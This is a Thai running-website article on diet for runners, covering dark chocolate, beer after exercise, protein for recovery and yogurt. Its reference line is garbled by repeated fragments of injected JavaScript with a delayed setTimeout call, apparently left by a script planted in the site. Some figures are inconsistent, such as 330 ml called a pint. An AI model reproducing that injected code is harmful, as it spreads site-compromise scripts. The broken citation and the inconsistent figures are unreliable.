• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

นักวิ่งโปรดทราบ!!…กินไม่เลือก ระวังวิ่งช้าลง

kan by kan
20 April 2018
in Healthy Tips, Running Tips, Tips & Technics
0
นักวิ่งโปรดทราบ!!…กินไม่เลือก ระวังวิ่งช้าลง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

นักวิทยาศาสตร์กล่าวไว้ว่า “You are what you eat” กินอะไรก็ได้สิ่งนั้น ซึ่งเช่นกันสำหรับนักวิ่ง อาหารการกินมีผลต่อ Performance เป็นแหล่งพลังงานสำหรับการออกกำลังกายและการ Recovery เมื่อเวลาพักผ่อน หรือแม้แต่นักเล่นกล้ามที่มีคำกล่าวที่ว่า “Abs made in kitchen” หรือกล้ามหน้าท้องสร้างได้จากห้องครัว

ดำและดี ช็อกโกแล็ตดำมีดีกว่าที่คิด

จากผลการวิจัยของ London’s Kingston University พบว่าช็อกโกแลตดำมีผลต่อการเพิ่ม Performance โดยพบว่านักปั่นจักรยานที่รับประทาน ช็อกโกแลตดำ 2 ออนซ์ (ประมาณ 56.69 กรัม) ทุกวันในระยะ 2 สัปดาห์ จะปั่นจักรยานได้ไกลและมีความอึดทึกทนต่อแผนที่ฝึกได้ดีขึ้น ซึ่งสาเหตุสำคัญที่นักวิทยาศาตร์คิดว่ามีส่วนสำคัญในการเพิ่มประสิทธิภาพการวิ่งเพิ่มขึ้นอาจเป็นเพราะ Epicatechin ที่ส่งผลอ้อมๆ ในการเพิ่ม Nitric oxide ช่วยให้ Blodflow มากขึ้น ผลคือทำให้ลำเลียงออกซิเจนสู่กล้ามเนื้อได้มาก นอกจากนี้น้ำผลไม้ บีทรูท ก็มีผลที่คล้ายเคียงกัน

ข้อควรระวัง นักวิ่งคนไหนที่ต้องการรับช็อกโกแลตดำเป็นประจำทุกวันแนะนำว่า ให้ระวังเรื่องแคลอรี่เกิน เดียวจะอ้วนเอา เพราะแค่ 2 ออนซ์ก็ปาไป 300 แคลอรี่แล้ว

เบียร์ค่อยกิน

การดื่มเบียร์หลังจบการฝึกซ้อมหรือการแข่งขัน ส่งผลเสียต่อร่างกาย จากการศึกษาของ University of Costa Rica เปรียบเทียบการดื่มเบียร์และน้ำเปล่า 1 ชั่วโมงหลังออกกำลังกาย ปริมาณ 3×330 ml (3 Pint) พบว่า นักกีฬาที่ดื่มเบียร์มีสภาวะสมดุลน้ำแย่กว่าคนดื่มน้ำเปล่า การต่อสนองจะช้าและมีปัสสาวะเพิ่มมากขึ้น อันเป็นเหตุที่ทำให้การรักษาบาลานซ์ของเหลวในร่างกายแย่ลง

นักวิ่งควรรับน้ำประมาณ 800-1200 ml ต่อน้ำหนักร่างกาย 1 กิโลกรัม ที่สูญหายไปหลังจบการวิ่ง

โปรตีนขาดไม่ได้

จากผลการศึกษาของ American College of Sports Medicine’s Annual Meeting พบว่านักปั่นจักรยานที่ปั่นทดสอบ 100 นาทีและดื่มเวย์โปรตีนไปด้วย (ที่มีโปรตีนผสม 85 กับ 28 กรัม) กรดอะมิโนที่ได้จากโปรตีนจะช่วยเร่งสร้างฟื้นฟูกล้ามเนื้อได้ดีขึ้น และปริมาณโปรตีนที่ผสมจะมากหรือน้อย มีผลเหมือนกัน

เพื่อการฟื้นฟูที่ดี นักวิ่งควรรับโปรตีนที่ได้จาก นม ไข่ เนื้อและปลา เป็นต้น ประมาณ 25 ถึง 30 กรัม หลังจบการวิ่ง

โยเกิร์ตดีต่อลำไส้ดีต่อนักวิ่ง

เพราะโยเกิร์ตมีแบคทีเรียที่ดีต่อสุขภาพและลำไส้ นักวิจัยไอซ์แลนด์ได้ศึกษาเปรียบเทียบระหว่างคนอ้วนและนักรักบี้อาชีพ พบว่านักรักบี้มีแบคทีเรียในลำไส้ที่ดีมากว่าคนอ้วน และการมีแบคทีเรียที่ดีต่อสุขภาพลำไส้ โดยเฉพาะสายพันธุ์ Akkermansiaceae ที่มีมาก และทำให้โอกาสเป็นโรคเบาหวานและอาการอักเสบลดลง

อ้างอิงandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-drinks-that-help-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-hurt-your-running”>www.runnersworld.com

Tags: Nutrition
ShareTweetShare
kan

kan

Related Posts

No Content Available
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.